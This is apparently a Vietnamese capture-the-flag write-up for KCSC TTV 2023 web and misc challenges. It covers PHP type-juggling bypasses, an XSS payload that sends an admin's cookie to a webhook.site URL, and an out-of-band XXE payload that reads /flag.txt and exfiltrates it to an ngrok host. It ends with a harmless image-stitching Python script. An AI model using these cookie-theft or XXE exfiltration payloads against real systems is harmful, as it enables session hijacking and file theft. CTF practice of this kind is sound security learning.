+4

KCSC TTV 2023 WRITE UP

Mayfest2023

Web challenges

Phpri Phprai

image.png

Phân tích

rksiP-oS3.png

Vào chall ta thấy được source của chall được show ra và việc cần làm chỉ là bypass từ phần để lấy được toàn bộ flag

Khai thác

Flag part 1:

S1gju-sr2.png

Chúng ta sẽ nhận được flag khi truyền giá trị vào param 1 khác với giá trị vào param 2 nhưng sau khi được hash md5() chúng phải bằng nhau.

Vì 2 param trên hoàn toàn do chúng ta kiểm soát và hàm md5() chỉ nhận đối số là string nên khi ta truyền vào 1 kiểu dữ liệu khác string nó sẽ khiến hàm md5() trả về null. Nên để bypass qua đoạn này ta chỉ cần truyền vào param 12 mảng chứa 2 giá trị khác nhau:

Payload: http://47.254.251.2:8889/?1[]=1&2[]=2

HknShWjSn.png

Flag part 2:

Sy9F3boH2.png

Phần này về ý tưởng cũng khá giống với phần flag 1 vì hàm strcmp() chỉ nhận vào đối số là string nên khi ta truyền kiểu dữ liệu khác vào nó sẽ trả về null

Mà trong PHP so sánh NULL == 0 nên để bypass qua đoạn này ta chỉ cần truyền vào param 3 một mảng:

Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3

B18KaZjH2.png

Flag part 3:

B18KaZjH2.png

Ở phần này tiếp tục vấn đề về PHP magic compare. Toán tử == sẽ có gắn ép một trong hai về được so sánh về cùng 1 kiểu dữ liệu để tiến hành so sánh

Vậy nên để bypass đoạn này mình lợi dụng việc toán tử == sẽ tự động xóa số 0 đằng trước của 01.4e5 thành 1.4e5:

Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3&4=01.4e5

HyAzlzsSh.png

Flag part 4:

SJd3xMoS3.png

Tương tự với ý tưởng ở phần flag trên nhưng kèm thêm 1 lưu ý là hàm trim() sẽ xóa hết những khoảng trắng () thừa ở hai bên của chuỗi đối số, dựa vào điều này để bypass với payload sau:

Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3&4=01.4e5&5=%2069

rkb9bMsBh.png

Flag part 5:

B1labfsS3.png

Phần này, để lấy được flag biến $str2 phải là KaCeEtCe. nhưng bị hàm preg_replace() thay thế KaCeEtCe và thay thế thành (rỗng). Vấn đề ở đây là hàm preg_replace() này chỉ được gọi một lần nên chúng ta chỉ thêm một lần chuỗi KaCeEtCe nữa. Như vậy KaCeKaCeEtCeEtCe sau khi được replace một lần thì nó sẽ trở thành KaCeEtCe và ta sẽ lấy được flag của phần này:

Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3&4=01.4e5&5=%2069&6=KaCeKaCeEtCeEtCe

By2tQMoSn.png

Hi Hi Hi

SkCX4fiHn.png

Phân tích

r10r4MjHn.png

Sau khi truy cập liên kết, Tại tiêu đề của trang gợi ý rằng sử dụng XSS Vì vậy mình thử dùng vài Payload XSS

Tất cả payload chứa <script>,<img> hoặc sử dụng các thẻ <script>,<img> tương đương đều bị chặn.

SyGCEMoHn.png

Ngoài các thẻ <script>,<img> còn rất nhiều thẻ khác giúp chúng ta trigger xss.

Tiếp tục fuzz và thấy rằng chúng ta có thể sử dụng các thẻ <image>,<audio>,...

Ví dụ: <image src=q onerror=prompt(8)>

ByyNSMsS3.png

SJ4orforh.png

XSS done!

Bước tiếp theo là gửi report cho admin và đánh cắp cookie của admin.

Định dạng URL: http://127.0.0.1:13337/?message=your_payload

Trong payload thay vì sử dụng prompt(), chúng mình sử dụng fetch() để quản trị viên fetch() đến Webhook.site của mình

Payload: http://127.0.0.1:13337/?message=<image src =q onerror=fetch('https://webhook.site/e3897dc9-35d2-450d-a2fd-81b3f023c9fb')>

BJpbEXoB3.png

Nó hoạt động!

Khai thác

Bây giờ mình sẽ lấy cookie của admin bằng payload sau:

Payload: http://127.0.0.1:13337/?message=<image src=q onerror=fetch(`https://webhook.site/e3897dc9-35d2-450d-a2fd-81b3f023c9fb/?cookie=${document.cookie}`)>

Gửi report đó, chúng ta sẽ nhận được cookie của admin

SyEDrmjB3.png

XXD

HJVGUXjrn.png

Phân tích

SyUILQsr3.png

Sau khi điền thông tin và gửi. Ở phía client, thông tin được xử lý và POST lên máy chủ với định dạng XML.

Vì POST XML được xử lý ở phía máy khách nên chúng tôi có thể sửa đổi điều này.

BkdcUmiH3.png

Dựa theo vào hint đầu tiên:

r1gCL7jB3.png

Chúng ta truy cập payload XXE của Payload All The Thing

Vì phản hồi không hiển thị thông tin nên chúng ta cần sử dụng OOB (data out-of-band)

Và sau đó mình tìm thấy payload đó:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

Khai thác

Dựa theo vào hint thứ hai để sửa đổi payload:

rkNuvXsH2.png

Bước đầu tiên là sử dụng php host một server:

ry00v7oH3.png

Và sau đó sử dụng ngrok để tạo tunnel đến internet:

HkH7_7oH2.png

Bước thứ hai là tạo file dtd.xml:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://bf4e-104-28-254-75.ap.ngrok.io/dtd.xml?%data;'>">
  • Chúng ta phải sử dụng convert.base64-encode vì flag có chứa các ký tự đặc biệt
  • Sửa url trỏ đến server của chúng ta để khi biến &exfil được gọi nó sẽ lấy dữ liệu từ biến %data, biến mà của chứa nội dung flag.txt

Bước cuối cùng là sửa đổi request POST XML:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [ 
<!ELEMENT data ANY >
<!ENTITY % sp SYSTEM "https://bf4e-104-28-254-75.ap.ngrok.io/dtd.xml"> 
%sp; 
%param1; 
]>
<data>
    <name>
        &exfil;
    </name>
    ...
</data>

Gửi request đó và kiểm tra server php:

r1PNFQsSn.png

Copy rồi decode base64:

H1k_Fmor3.png

Mics challenges

BinggChillinggg

image.png

Phân tích

image.png

Để giải quyết chall này, chúng ta cần lắp tất cả các mảnh của bức ảnh lại.

Khai thác

Vì lý do mình quá gà nên script của mình phải gồm 2 phần :<

Bước đầu tiên trong script của mình là chọn tất cả các mảnh của một hàng rồi lưu chúng tại /Bingg2

from PIL import Image


def get_concat_h(im1, im2):
    dst = Image.new('RGB', (im1.width + im2.width, im1.height))
    dst.paste(im1, (0, 0))
    dst.paste(im2, (im1.width, 0))
    return dst

def get_concat_v(im1, im2):
    dst = Image.new('RGB', (im1.width, im1.height + im2.height))
    dst.paste(im1, (0, 0))
    dst.paste(im2, (0, im1.height))
    return dst

def get_concat_h_blank(im1, im2, color=(0, 0, 0)):
    dst = Image.new('RGB', (im1.width + im2.width, max(im1.height, im2.height)), color)
    dst.paste(im1, (0, 0))
    dst.paste(im2, (im1.width, 0))
    return dst

def get_concat_h_multi_blank(im_list):
    _im = im_list.pop(0)
    for im in im_list:
        _im = get_concat_h_blank(_im, im)
    return _im

for h in range(51):
    if h == 0:
        imgw_list = []
        for w in range(77):
            if w == 0:
                im = Image.open(rf"./Bingg/img0_{w}.png")
            else:
                im = Image.open(rf"./Bingg/img0_{w}0.png")
            imgw_list.append(im)
    else: 
        imgw_list = []
        for w in range(77):
            if w == 0:
                im = Image.open(rf"./Bingg/img{h}0_{w}.png")
            else:
                im = Image.open(rf"./Bingg/img{h}0_{w}0.png")
            imgw_list.append(im)
    get_concat_h_multi_blank(imgw_list).save(f'./Bingg2/{h}0.jpg')

Bước tiếp theo là xếp ảnh của các hàng trong /Bingg2 thành một cột:

im1 = Image.open(rf"./Bingg2/00.jpg")   
im2 = Image.open(rf"./Bingg2/10.jpg")
concat = get_concat_v(im1, im2)

for i in range(2,52):
    next_im = Image.open(rf"./Bingg2/{i}0.jpg")
    concat = get_concat_v(concat, next_im)

concat.save("final.png")

Xong!

lNrexvC.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí